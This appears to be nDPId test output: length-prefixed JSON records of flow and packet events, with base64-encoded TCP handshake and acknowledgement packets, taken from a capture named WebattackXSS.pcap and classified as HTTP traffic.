+00432{"flow_id":625,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8911,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348042,"pkt_ts_usec":911851,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MatAAD4GlC2sEAABwKgKMonmAFDKJM310Bi1b4AQAOV8kQAAAQEICgE9AfUD5tNp"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8915,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":629,"flow_packet_id":1,"flow_first_seen":1499348043670,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35370,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":629,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8915,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348043,"pkt_ts_usec":670139,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8cMNAAD4GVQ2sEAABwKgKMooqAFAsTnJwAAAAAKACchAx2wAAAgQFtAQCCAoBPQKzAAAAAAEDAwc="} +00444{"flow_id":629,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8916,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348043,"pkt_ts_usec":670280,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiirQJ1Z6LE5ycaAScSA0CwAAAgQFtAQCCAoD5tQmAT0CswEDAwc="} +00432{"flow_id":629,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8917,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348043,"pkt_ts_usec":671025,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0cMRAAD4GVRSsEAABwKgKMooqAFAsTnJx0CdWe4AQAOXTEgAAAQEICgE9ArMD5tQm"} +00433{"flow_id":626,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8921,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348043,"pkt_ts_usec":910938,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0j\/lAAD4GNd+sEAABwKgKMon0AFAYNXJhksCcVoARAOXj3AAAAQEICgE9Au8D5s8K"} +00432{"flow_id":626,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8922,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348043,"pkt_ts_usec":911131,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0SDVAAEAGe6PAqAoyrBAAAQBQifSSwJxWGDVyYoARAOPehAAAAQEICgPm1GMBPQLv"} +00433{"flow_id":626,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8923,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348043,"pkt_ts_usec":911898,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0j\/pAAD4GNd6sEAABwKgKMon0AFAYNXJiksCcV4AQAOXeggAAAQEICgE9Au8D5tRj"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8933,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":630,"flow_packet_id":1,"flow_first_seen":1499348046262,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35396,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":630,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8933,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348046,"pkt_ts_usec":262543,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8bZhAAD4GWDisEAABwKgKMopEAFAJXWijAAAAAKACchBb9wAAAgQFtAQCCAoBPQU7AAAAAAEDAwc="} +00444{"flow_id":630,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8934,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348046,"pkt_ts_usec":262674,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQikQJGz7wCV1opKAScSA6NQAAAgQFtAQCCAoD5tavAT0FOwEDAwc="} +00432{"flow_id":630,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8935,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348046,"pkt_ts_usec":263451,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bZlAAD4GWD+sEAABwKgKMopEAFAJXWikCRs+8YAQAOXZPAAAAQEICgE9BTsD5tav"} +00432{"flow_id":627,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8939,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348046,"pkt_ts_usec":911504,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0l9BAAD4GLgisEAABwKgKMooOAFBaWpfk3nE37IARAOWPTgAAAQEICgE9Bd0D5tGh"} +00432{"flow_id":627,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8940,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348046,"pkt_ts_usec":911725,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA04L1AAEAG4xrAqAoyrBAAAQBQig7ecTfsWlqX5YARAOOJnwAAAQEICgPm11EBPQXd"} +00432{"flow_id":627,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8941,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348046,"pkt_ts_usec":912470,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0l9FAAD4GLgesEAABwKgKMooOAFBaWpfl3nE37YAQAOWJnQAAAQEICgE9Bd0D5tdR"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8945,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":631,"flow_packet_id":1,"flow_first_seen":1499348047547,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35410,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":631,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8945,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348047,"pkt_ts_usec":547005,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8PrNAAD4Ghx2sEAABwKgKMopSAFC7TzjPAAAAAKACchDYiQAAAgQFtAQCCAoBPQZ8AAAAAAEDAwc="} +00444{"flow_id":631,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8946,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348047,"pkt_ts_usec":547131,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQilKBYq9Yu0840KAScSDM1gAAAgQFtAQCCAoD5tfwAT0GfAEDAwc="} +00432{"flow_id":631,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8947,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348047,"pkt_ts_usec":547886,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PrRAAD4GhySsEAABwKgKMopSAFC7TzjQgWKvWYAQAOVr3gAAAQEICgE9BnwD5tfw"} +00432{"flow_id":628,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8951,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348047,"pkt_ts_usec":911922,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rjhAAD4GF6CsEAABwKgKMoocAFClJq9IPW8v9IARAOXTzAAAAQEICgE9BtcD5tLl"} +00433{"flow_id":628,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8952,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348047,"pkt_ts_usec":912139,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0979AAEAGzBjAqAoyrBAAAQBQihw9by\/0pSavSYARAOPOZwAAAQEICgPm2EsBPQbX"} +00432{"flow_id":628,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8953,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348047,"pkt_ts_usec":912886,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rjlAAD4GF5+sEAABwKgKMoocAFClJq9JPW8v9YAQAOXOZQAAAQEICgE9BtcD5thL"} +00432{"flow_id":629,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8960,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348048,"pkt_ts_usec":912033,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0cMVAAD4GVROsEAABwKgKMooqAFAsTnJx0CdWe4ARAOXN8wAAAQEICgE9B9ED5tQm"} +00432{"flow_id":629,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8961,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348048,"pkt_ts_usec":912253,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0jz5AAEAGNJrAqAoyrBAAAQBQiirQJ1Z7LE5ycoARAOPI1QAAAQEICgPm2UUBPQfR"} +00432{"flow_id":629,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8962,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348048,"pkt_ts_usec":912967,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0cMZAAD4GVRKsEAABwKgKMooqAFAsTnJy0CdWfIAQAOXI0wAAAQEICgE9B9ED5tlF"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8966,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":632,"flow_packet_id":1,"flow_first_seen":1499348050079,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35436,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":632,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8966,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348050,"pkt_ts_usec":79474,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Gn1AAD4Gq1OsEAABwKgKMopsAFCVUBKIAAAAAKACchAiPQAAAgQFtAQCCAoBPQj1AAAAAAEDAwc="} +00443{"flow_id":632,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8967,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348050,"pkt_ts_usec":79605,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQimww3+sulVASiaAScSAovgAAAgQFtAQCCAoD5tppAT0I9QEDAwc="} +00432{"flow_id":632,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8968,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348050,"pkt_ts_usec":80353,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Gn5AAD4Gq1qsEAABwKgKMopsAFCVUBKJMN\/rL4AQAOXHxQAAAQEICgE9CPUD5tpp"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8972,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":590,"flow_packet_id":6,"flow_first_seen":1499347975371,"flow_last_seen":1499347980892,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34656,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8972,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":590,"flow_packet_id":6,"flow_first_seen":1499347975371,"flow_last_seen":1499347980892,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34656,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8972,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":591,"flow_packet_id":6,"flow_first_seen":1499347976658,"flow_last_seen":1499347981892,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34670,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8972,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":591,"flow_packet_id":6,"flow_first_seen":1499347976658,"flow_last_seen":1499347981892,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34670,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8972,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":592,"flow_packet_id":6,"flow_first_seen":1499347979251,"flow_last_seen":1499347984894,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34696,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8972,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":592,"flow_packet_id":6,"flow_first_seen":1499347979251,"flow_last_seen":1499347984894,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34696,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8972,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":593,"flow_packet_id":6,"flow_first_seen":1499347980524,"flow_last_seen":1499347985894,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34710,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8972,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":593,"flow_packet_id":6,"flow_first_seen":1499347980524,"flow_last_seen":1499347985894,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34710,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8972,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":594,"flow_packet_id":6,"flow_first_seen":1499347981782,"flow_last_seen":1499347986894,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34724,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8972,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":594,"flow_packet_id":6,"flow_first_seen":1499347981782,"flow_last_seen":1499347986894,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34724,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8972,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":595,"flow_packet_id":6,"flow_first_seen":1499347983061,"flow_last_seen":1499347988894,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34738,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8972,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":595,"flow_packet_id":6,"flow_first_seen":1499347983061,"flow_last_seen":1499347988894,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34738,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8972,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":596,"flow_packet_id":7,"flow_first_seen":1499347984370,"flow_last_seen":1499347989894,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34752,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8972,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":596,"flow_packet_id":7,"flow_first_seen":1499347984370,"flow_last_seen":1499347989894,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34752,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8972,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":597,"flow_packet_id":6,"flow_first_seen":1499347985686,"flow_last_seen":1499347990895,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34766,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8972,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":597,"flow_packet_id":6,"flow_first_seen":1499347985686,"flow_last_seen":1499347990895,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34766,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8975,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":633,"flow_packet_id":1,"flow_first_seen":1499348051362,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35450,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":633,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8975,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348051,"pkt_ts_usec":362157,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ntRAAD4GJvysEAABwKgKMop6AFCG4ZTiAAAAAKACchCtAgAAAgQFtAQCCAoBPQo2AAAAAAEDAwc="} +00444{"flow_id":633,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8976,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348051,"pkt_ts_usec":362258,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQinqx2HVxhuGU46AScSCnBwAAAgQFtAQCCAoD5tupAT0KNgEDAwc="} +00432{"flow_id":633,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8977,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348051,"pkt_ts_usec":362862,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ntVAAD4GJwOsEAABwKgKMop6AFCG4ZTjsdh1coAQAOVGDwAAAQEICgE9CjYD5tup"} +00432{"flow_id":630,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8981,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348051,"pkt_ts_usec":912378,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bZpAAD4GWD6sEAABwKgKMopEAFAJXWikCRs+8YARAOXTtwAAAQEICgE9Cr8D5tav"} +00433{"flow_id":630,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8982,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348051,"pkt_ts_usec":912643,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA04sJAAEAG4RXAqAoyrBAAAQBQikQJGz7xCV1opYARAOPONAAAAQEICgPm3DMBPQq\/"} +00432{"flow_id":630,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8983,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348051,"pkt_ts_usec":913354,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bZtAAD4GWD2sEAABwKgKMopEAFAJXWilCRs+8oAQAOXOMgAAAQEICgE9Cr8D5twz"} 